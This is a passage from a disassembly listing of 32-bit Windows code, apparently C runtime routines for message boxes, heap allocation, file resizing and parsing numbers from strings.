sub_41E68C+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test ds:byte_46A9C1[eax], cl jnz short loc_41E6CA cmp [esp+arg_4], 0 jz short loc_41E6C3 movzx eax, ds:word_437D5A[eax*2] and eax, [esp+arg_4] jmp short loc_41E6C5 ; --------------------------------------------------------------------------- loc_41E6C3: ; CODE XREF: sub_41E69D+16j xor eax, eax loc_41E6C5: ; CODE XREF: sub_41E69D+24j test eax, eax jnz short loc_41E6CA retn ; --------------------------------------------------------------------------- loc_41E6CA: ; CODE XREF: sub_41E69D+Fj ; sub_41E69D+2Aj push 1 pop eax retn sub_41E69D endp ; =============== S U B R O U T I N E ======================================= sub_41E6CE proc near ; CODE XREF: sub_41CEF9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp ds:dword_469734, ebx push esi push edi jnz short loc_41E71D push offset aUser32_dll ; "user32.dll" call ds:dword_4210C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_41E753 mov esi, ds:dword_4210C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov ds:dword_469734, eax jz short loc_41E753 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_469738, eax call esi mov ds:dword_46973C, eax loc_41E71D: ; CODE XREF: sub_41E6CE+Bj mov eax, ds:dword_469738 test eax, eax jz short loc_41E73C call eax mov ebx, eax test ebx, ebx jz short loc_41E73C mov eax, ds:dword_46973C test eax, eax jz short loc_41E73C push ebx call eax mov ebx, eax loc_41E73C: ; CODE XREF: sub_41E6CE+56j ; sub_41E6CE+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call ds:dword_469734 loc_41E74F: ; CODE XREF: sub_41E6CE+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E753: ; CODE XREF: sub_41E6CE+1Cj ; sub_41E6CE+33j xor eax, eax jmp short loc_41E74F sub_41E6CE endp ; =============== S U B R O U T I N E ======================================= sub_41E757 proc near ; CODE XREF: sub_41D0B6+22p ; sub_41D0B6+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_41E777 test esi, esi jnz short loc_41E771 push 1 pop esi loc_41E771: ; CODE XREF: sub_41E757+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_41E777: ; CODE XREF: sub_41E757+11j ; sub_41E757+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41E7A8 cmp ebx, ds:dword_437F6C ja short loc_41E793 push ebx call sub_418E33 mov edi, eax pop ecx test edi, edi jnz short loc_41E7BE loc_41E793: ; CODE XREF: sub_41E757+2Dj push esi push 8 push ds:dword_46AAE0 call ds:dword_42114C ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_41E7CA loc_41E7A8: ; CODE XREF: sub_41E757+25j cmp ds:dword_4694D4, 0 jz short loc_41E7CA push esi call sub_418A48 test eax, eax pop ecx jz short loc_41E7D0 jmp short loc_41E777 ; --------------------------------------------------------------------------- loc_41E7BE: ; CODE XREF: sub_41E757+3Aj push ebx push 0 push edi call sub_415550 add esp, 0Ch loc_41E7CA: ; CODE XREF: sub_41E757+4Fj ; sub_41E757+58j mov eax, edi loc_41E7CC: ; CODE XREF: sub_41E757+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E7D0: ; CODE XREF: sub_41E757+63j xor eax, eax jmp short loc_41E7CC sub_41E757 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D15B loc_41E7D4: ; CODE XREF: sub_41D15B+Ej push esi push edi push 3 xor edi, edi pop esi cmp ds:dword_46A780, esi jle short loc_41E827 loc_41E7E3: ; CODE XREF: sub_41D15B+16CAj mov eax, ds:dword_469760 mov eax, [eax+esi*4] test eax, eax jz short loc_41E81E test byte ptr [eax+0Ch], 83h jz short loc_41E802 push eax call sub_415B20 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E802 inc edi loc_41E802: ; CODE XREF: sub_41D15B+1698j ; sub_41D15B+16A4j cmp esi, 14h jl short loc_41E81E mov eax, ds:dword_469760 push dword ptr [eax+esi*4] call sub_415E1D mov eax, ds:dword_469760 pop ecx and dword ptr [eax+esi*4], 0 loc_41E81E: ; CODE XREF: sub_41D15B+1692j ; sub_41D15B+16AAj inc esi cmp esi, ds:dword_46A780 jl short loc_41E7E3 loc_41E827: ; CODE XREF: sub_41D15B+1686j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41D15B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E82C proc near ; CODE XREF: sub_41D53A+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_415D50 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, ds:dword_46A8A0 jnb loc_41E961 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_46A7A0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41E961 push 1 push esi push ebx call sub_41BB5F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41E96B push 2 push esi push ebx call sub_41BB5F add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41E96B push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41E90E push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_415550 push 8000h push ebx call sub_41F466 add esp, 14h mov [ebp+arg_4], eax loc_41E8C2: ; CODE XREF: sub_41E82C+BDj mov eax, 1000h cmp edi, eax jge short loc_41E8CD mov eax, edi loc_41E8CD: ; CODE XREF: sub_41E82C+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41C40A add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41E8EB sub edi, eax test edi, edi jle short loc_41E901 jmp short loc_41E8C2 ; --------------------------------------------------------------------------- loc_41E8EB: ; CODE XREF: sub_41E82C+B5j cmp ds:dword_469478, 5 jnz short loc_41E8FE mov ds:dword_469474, 0Dh loc_41E8FE: ; CODE XREF: sub_41E82C+C6j or esi, 0FFFFFFFFh loc_41E901: ; CODE XREF: sub_41E82C+BBj push [ebp+arg_4] push ebx call sub_41F466 pop ecx pop ecx jmp short loc_41E94E ; --------------------------------------------------------------------------- loc_41E90E: ; CODE XREF: sub_41E82C+71j jge short loc_41E94E push 0 push [ebp+arg_4] push ebx call sub_41BB5F push ebx call sub_41D4A6 add esp, 10h push eax call near ptr 3D0000h clc mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41E94E mov ds:dword_469474, 0Dh call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_469478, eax loc_41E94E: ; CODE XREF: sub_41E82C+E0j ; sub_41E82C:loc_41E90Ej ... push 0 push [ebp+arg_0] push ebx call sub_41BB5F add esp, 0Ch mov eax, esi pop edi jmp short loc_41E96E ; --------------------------------------------------------------------------- loc_41E961: ; CODE XREF: sub_41E82C+1Aj ; sub_41E82C+36j mov ds:dword_469474, 9 loc_41E96B: ; CODE XREF: sub_41E82C+4Ej ; sub_41E82C+63j or eax, 0FFFFFFFFh loc_41E96E: ; CODE XREF: sub_41E82C+133j pop esi pop ebx leave retn sub_41E82C endp ; =============== S U B R O U T I N E ======================================= sub_41E972 proc near ; CODE XREF: sub_41D9A5+2Bp ; sub_41D9A5+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41E988 cmp ecx, esi jnb short loc_41E98B loc_41E988: ; CODE XREF: sub_41E972+10j push 1 pop eax loc_41E98B: ; CODE XREF: sub_41E972+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41E972 endp ; =============== S U B R O U T I N E ======================================= sub_41E993 proc near ; CODE XREF: sub_41EA4C+40p ; sub_41EA4C+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41E972 add esp, 0Ch test eax, eax jz short loc_41E9C5 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41E972 add esp, 0Ch test eax, eax jz short loc_41E9C5 inc dword ptr [esi+8] loc_41E9C5: ; CODE XREF: sub_41E993+19j ; sub_41E993+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41E972 add esp, 0Ch test eax, eax jz short loc_41E9DD inc dword ptr [esi+8] loc_41E9DD: ; CODE XREF: sub_41E993+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41E972 add esp, 0Ch pop edi pop esi retn sub_41E993 endp ; =============== S U B R O U T I N E ======================================= sub_41E9F1 proc near ; CODE XREF: sub_41EA4C+30p ; sub_41EA4C+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41E9F1 endp ; =============== S U B R O U T I N E ======================================= sub_41EA1F proc near ; CODE XREF: sub_41EFE4+1C8p ; sub_41F4DC+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41EA1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA4C proc near ; CODE XREF: sub_41EB13+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41EAC0 push edi mov [ebp+arg_8], eax loc_41EA73: ; CODE XREF: sub_41EA4C+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41E9F1 push ebx call sub_41E9F1 lea eax, [ebp+var_10] push eax push ebx call sub_41E993 push ebx call sub_41E9F1 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41E993 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41EA73 xor edx, edx pop edi loc_41EAC0: ; CODE XREF: sub_41EA4C+21j ; sub_41EA4C+9Fj cmp [ebx+8], edx jnz short loc_41EAED mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41EAC0 ; --------------------------------------------------------------------------- loc_41EAED: ; CODE XREF: sub_41EA4C+77j mov esi, 8000h loc_41EAF2: ; CODE XREF: sub_41EA4C+B9j test [ebx+8], esi jnz short loc_41EB07 push ebx call sub_41E9F1 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41EAF2 ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EA4C+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41EA4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB13 proc near ; CODE XREF: sub_41DCEE+17p ; sub_41DD1B+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41EB4E: ; CODE XREF: sub_41EB13+52j mov cl, [edi] cmp cl, 20h jz short loc_41EB64 cmp cl, 9 jz short loc_41EB64 cmp cl, 0Ah jz short loc_41EB64 cmp cl, 0Dh jnz short loc_41EB67 loc_41EB64: ; CODE XREF: sub_41EB13+40j ; sub_41EB13+45j ... inc edi jmp short loc_41EB4E ; --------------------------------------------------------------------------- loc_41EB67: ; CODE XREF: sub_41EB13+4Fj push 4 pop esi loc_41EB6A: ; CODE XREF: sub_41EB13+AEj ; sub_41EB13+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41EDED ; default ; jumptable 0041EB76 case 10 jmp ds:off_41EFB4[eax*4] ; switch jump loc_41EB7D: ; DATA XREF: seg000:off_41EFB4o cmp bl, 31h ; jumptable 0041EB76 case 0 jl short loc_41EB8E cmp bl, 39h jg short loc_41EB8E loc_41EB87: ; CODE XREF: sub_41EB13+C4j ; sub_41EB13+118j push 3 jmp loc_41EDAB ; --------------------------------------------------------------------------- loc_41EB8E: ; CODE XREF: sub_41EB13+6Dj ; sub_41EB13+72j cmp bl, ds:byte_437F60 jnz short loc_41EB9D loc_41EB96: ; CODE XREF: sub_41EB13+124j push 5 jmp loc_41EDE3 ; --------------------------------------------------------------------------- loc_41EB9D: ; CODE XREF: sub_41EB13+81j movsx eax, bl sub eax, 2Bh jz short loc_41EBC3 dec eax dec eax jz short loc_41EBB7 sub eax, 3 jnz loc_41EE86 jmp loc_41EC46 ; --------------------------------------------------------------------------- loc_41EBB7: ; CODE XREF: sub_41EB13+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41EB6A ; --------------------------------------------------------------------------- loc_41EBC3: ; CODE XREF: sub_41EB13+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41EB6A ; --------------------------------------------------------------------------- loc_41EBCC: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o cmp bl, 31h ; jumptable 0041EB76 case 1 mov [ebp+var_10], edx jl short loc_41EBD9 cmp bl, 39h jle short loc_41EB87 loc_41EBD9: ; CODE XREF: sub_41EB13+BFj cmp bl, ds:byte_437F60 jz loc_41ECA1 cmp bl, 2Bh jz short loc_41EC1B cmp bl, 2Dh jz short loc_41EC1B cmp bl, 30h jz short loc_41EC46 loc_41EBF4: ; CODE XREF: sub_41EB13+207j cmp bl, 43h jle loc_41EE86 cmp bl, 45h jle short loc_41EC14 cmp bl, 63h jle loc_41EE86 cmp bl, 65h jg loc_41EE86 loc_41EC14: ; CODE XREF: sub_41EB13+EDj push 6 jmp loc_41EDE3 ; --------------------------------------------------------------------------- loc_41EC1B: ; CODE XREF: sub_41EB13+D5j ; sub_41EB13+DAj ... dec edi push 0Bh jmp loc_41EDE3 ; --------------------------------------------------------------------------- loc_41EC23: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o cmp bl, 31h ; jumptable 0041EB76 case 2 jl short loc_41EC31 cmp bl, 39h jle loc_41EB87 loc_41EC31: ; CODE XREF: sub_41EB13+113j cmp bl, ds:byte_437F60 jz loc_41EB96 cmp bl, 30h jnz loc_41EDFB loc_41EC46: ; CODE XREF: sub_41EB13+9Fj ; sub_41EB13+DFj mov eax, edx jmp loc_41EB6A ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o mov [ebp+var_10], edx ; jumptable 0041EB76 case 3 loc_41EC50: ; CODE XREF: sub_41EB13+184j cmp ds:dword_437F5C, edx jle short loc_41EC69 movzx eax, bl push esi push eax call sub_418536 pop ecx pop ecx push 1 pop edx jmp short loc_41EC77 ; --------------------------------------------------------------------------- loc_41EC69: ; CODE XREF: sub_41EB13+143j mov ecx, ds:off_437D50 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41EC77: ; CODE XREF: sub_41EB13+154j test eax, eax jz short loc_41EC99 cmp [ebp+var_4], 19h jnb short loc_41EC91 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41EC94 ; --------------------------------------------------------------------------- loc_41EC91: ; CODE XREF: sub_41EB13+16Cj inc [ebp+var_8] loc_41EC94: ; CODE XREF: sub_41EB13+17Cj mov bl, [edi] inc edi jmp short loc_41EC50 ; --------------------------------------------------------------------------- loc_41EC99: ; CODE XREF: sub_41EB13+166j cmp bl, ds:byte_437F60 jnz short loc_41ED08 loc_41ECA1: ; CODE XREF: sub_41EB13+CCj mov eax, esi jmp loc_41EB6A ; --------------------------------------------------------------------------- loc_41ECA8: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o cmp [ebp+var_4], 0 ; jumptable 0041EB76 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41ECC1 loc_41ECB4: ; CODE XREF: sub_41EB13+1ACj cmp bl, 30h jnz short loc_41ECC1 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41ECB4 ; --------------------------------------------------------------------------- loc_41ECC1: ; CODE XREF: sub_41EB13+19Fj ; sub_41EB13+1A4j ... cmp ds:dword_437F5C, edx jle short loc_41ECDA movzx eax, bl push esi push eax call sub_418536 pop ecx pop ecx push 1 pop edx jmp short loc_41ECE8 ; --------------------------------------------------------------------------- loc_41ECDA: ; CODE XREF: sub_41EB13+1B4j mov ecx, ds:off_437D50 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41ECE8: ; CODE XREF: sub_41EB13+1C5j test eax, eax jz short loc_41ED08 cmp [ebp+var_4], 19h jnb short loc_41ED03 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41ED03: ; CODE XREF: sub_41EB13+1DDj mov bl, [edi] inc edi jmp short loc_41ECC1 ; --------------------------------------------------------------------------- loc_41ED08: ; CODE XREF: sub_41EB13+18Cj ; sub_41EB13+1D7j cmp bl, 2Bh jz loc_41EC1B cmp bl, 2Dh jz loc_41EC1B jmp loc_41EBF4 ; --------------------------------------------------------------------------- loc_41ED1F: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o cmp ds:dword_437F5C, edx ; jumptable 0041EB76 case 5 mov [ebp+var_24], edx jle short loc_41ED3B movzx eax, bl push esi push eax call sub_418536 pop ecx pop ecx push 1 pop edx jmp short loc_41ED49 ; --------------------------------------------------------------------------- loc_41ED3B: ; CODE XREF: sub_41EB13+215j mov ecx, ds:off_437D50 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41ED49: ; CODE XREF: sub_41EB13+226j test eax, eax jz loc_41EDFB mov eax, esi jmp short loc_41EDAC ; --------------------------------------------------------------------------- loc_41ED55: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o lea ecx, [edi-2] ; jumptable 0041EB76 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41ED65 cmp bl, 39h jle short loc_41EDA9 loc_41ED65: ; CODE XREF: sub_41EB13+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41EDE1 dec eax dec eax jz short loc_41EDD5 sub eax, 3 jnz loc_41EE89 loc_41ED7A: ; CODE XREF: sub_41EB13+2A4j push 8 jmp short loc_41EDE3 ; --------------------------------------------------------------------------- loc_41ED7E: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o mov [ebp+var_20], edx ; jumptable 0041EB76 case 8 loc_41ED81: ; CODE XREF: sub_41EB13+276j cmp bl, 30h jnz short loc_41ED8B mov bl, [edi] inc edi jmp short loc_41ED81 ; --------------------------------------------------------------------------- loc_41ED8B: ; CODE XREF: sub_41EB13+271j cmp bl, 31h jl loc_41EE86 cmp bl, 39h jg loc_41EE86 jmp short loc_41EDA9 ; --------------------------------------------------------------------------- loc_41ED9F: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o cmp bl, 31h ; jumptable 0041EB76 case 7 jl short loc_41EDB2 cmp bl, 39h jg short loc_41EDB2 loc_41EDA9: ; CODE XREF: sub_41EB13+250j ; sub_41EB13+28Aj push 9 loc_41EDAB: ; CODE XREF: sub_41EB13+76j pop eax loc_41EDAC: ; CODE XREF: sub_41EB13+240j dec edi jmp loc_41EB6A ; --------------------------------------------------------------------------- loc_41EDB2: ; CODE XREF: sub_41EB13+28Fj ; sub_41EB13+294j cmp bl, 30h jnz short loc_41EDFB jmp short loc_41ED7A ; --------------------------------------------------------------------------- loc_41EDB9: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o cmp [ebp+arg_18], 0 ; jumptable 0041EB76 case 11 jz short loc_41EDE9 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41EDE1 dec eax dec eax jnz loc_41EE89 loc_41EDD5: ; CODE XREF: sub_41EB13+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41EB6A ; --------------------------------------------------------------------------- loc_41EDE1: ; CODE XREF: sub_41EB13+258j ; sub_41EB13+2B8j push 7 loc_41EDE3: ; CODE XREF: sub_41EB13+85j ; sub_41EB13+103j ... pop eax jmp loc_41EB6A ; --------------------------------------------------------------------------- loc_41EDE9: ; CODE XREF: sub_41EB13+2AAj push 0Ah dec edi pop eax loc_41EDED: ; CODE XREF: sub_41EB13+5Dj ; sub_41EB13+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041EB76 case 10 jz loc_41EE8B jmp loc_41EB6A ; --------------------------------------------------------------------------- loc_41EDFB: ; CODE XREF: sub_41EB13+12Dj ; sub_41EB13+238j ... mov edi, [ebp+arg_8] jmp loc_41EE8B ; --------------------------------------------------------------------------- loc_41EE03: ; CODE XREF: sub_41EB13+63j ; DATA XREF: seg000:off_41EFB4o mov [ebp+var_20], 1 ; jumptable 0041EB76 case 9 xor esi, esi loc_41EE0C: ; CODE XREF: sub_41EB13+339j cmp ds:dword_437F5C, 1 jle short loc_41EE24 movzx eax, bl push 4 push eax call sub_418536 pop ecx pop ecx jmp short loc_41EE33 ; --------------------------------------------------------------------------- loc_41EE24: ; CODE XREF: sub_41EB13+300j mov ecx, ds:off_437D50 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41EE33: ; CODE XREF: sub_41EB13+30Fj test eax, eax jz short loc_41EE53 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41EE4E mov bl, [edi] inc edi jmp short loc_41EE0C ; --------------------------------------------------------------------------- loc_41EE4E: ; CODE XREF: sub_41EB13+334j mov esi, 1451h loc_41EE53: ; CODE XREF: sub_41EB13+322j mov [ebp+var_1C], esi loc_41EE56: ; CODE XREF: sub_41EB13+371j cmp ds:dword_437F5C, 1 jle short loc_41EE6E movzx eax, bl push 4 push eax call sub_418536 pop ecx pop ecx jmp short loc_41EE7D ; --------------------------------------------------------------------------- loc_41EE6E: ; CODE XREF: sub_41EB13+34Aj mov ecx, ds:off_437D50 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41EE7D: ; CODE XREF: sub_41EB13+359j test eax, eax jz short loc_41EE86 mov bl, [edi] inc edi jmp short loc_41EE56 ; --------------------------------------------------------------------------- loc_41EE86: ; CODE XREF: sub_41EB13+99j ; sub_41EB13+E4j ... dec edi jmp short loc_41EE8B ; --------------------------------------------------------------------------- loc_41EE89: ; CODE XREF: sub_41EB13+261j ; sub_41EB13+2BCj mov edi, ecx loc_41EE8B: ; CODE XREF: sub_41EB13+2DDj ; sub_41EB13+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41EF73 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41EEB7 cmp [ebp+var_45], 5 jl short loc_41EEAB inc [ebp+var_45] loc_41EEAB: ; CODE XREF: sub_41EB13+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41EEBA ; --------------------------------------------------------------------------- loc_41EEB7: ; CODE XREF: sub_41EB13+38Dj mov eax, [ebp+var_C] loc_41EEBA: ; CODE XREF: sub_41EB13+3A2j cmp [ebp+var_4], 0 jbe loc_41EF69 loc_41EEC4: ; CODE XREF: sub_41EB13+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41EED2 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41EEC4 ; --------------------------------------------------------------------------- loc_41EED2: ; CODE XREF: sub_41EB13+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41EA4C mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41EEF1 neg eax loc_41EEF1: ; CODE XREF: sub_41EB13+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41EEFC add eax, [ebp+arg_10] loc_41EEFC: ; CODE XREF: sub_41EB13+3E4j cmp [ebp+var_24], ecx jnz short loc_41EF04 sub eax, [ebp+arg_14] loc_41EF04: ; CODE XREF: sub_41EB13+3ECj cmp eax, 1450h jle short loc_41EF3B mov [ebp+var_2C], 1 loc_41EF12: ; CODE XREF: sub_41EB13+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41EF1E: ; CODE XREF: sub_41EB13+454j ; sub_41EB13+45Ej cmp [ebp+var_2C], 0 jz short loc_41EF84 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41EF99 ; --------------------------------------------------------------------------- loc_41EF3B: ; CODE XREF: sub_41EB13+3F6j cmp eax, 0FFFFEBB0h jge short loc_41EF4B mov [ebp+var_30], 1 jmp short loc_41EF12 ; --------------------------------------------------------------------------- loc_41EF4B: ; CODE XREF: sub_41EB13+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41F6FC mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41EF1E ; --------------------------------------------------------------------------- loc_41EF69: ; CODE XREF: sub_41EB13+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41EF1E ; --------------------------------------------------------------------------- loc_41EF73: ; CODE XREF: sub_41EB13+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41EF99 ; --------------------------------------------------------------------------- loc_41EF84: ; CODE XREF: sub_41EB13+40Fj cmp [ebp+var_30], 0 jz short loc_41EF99 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41EF99: ; CODE XREF: sub_41EB13+426j ; sub_41EB13+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41EB13 endp ; --------------------------------------------------------------------------- off_41EFB4 dd offset loc_41EB7D ; DATA XREF: sub_41EB13+63r dd offset loc_41EBCC ; jump table for switch statement dd offset loc_41EC23 dd offset loc_41EC4D dd offset loc_41ECA8 dd offset loc_41ED1F dd offset loc_41ED55 dd offset loc_41ED9F dd offset loc_41ED7E dd offset loc_41EE03 dd offset loc_41EDED dd offset loc_41EDB9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EFE4 proc near ; CODE XREF: sub_41DDBF+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = 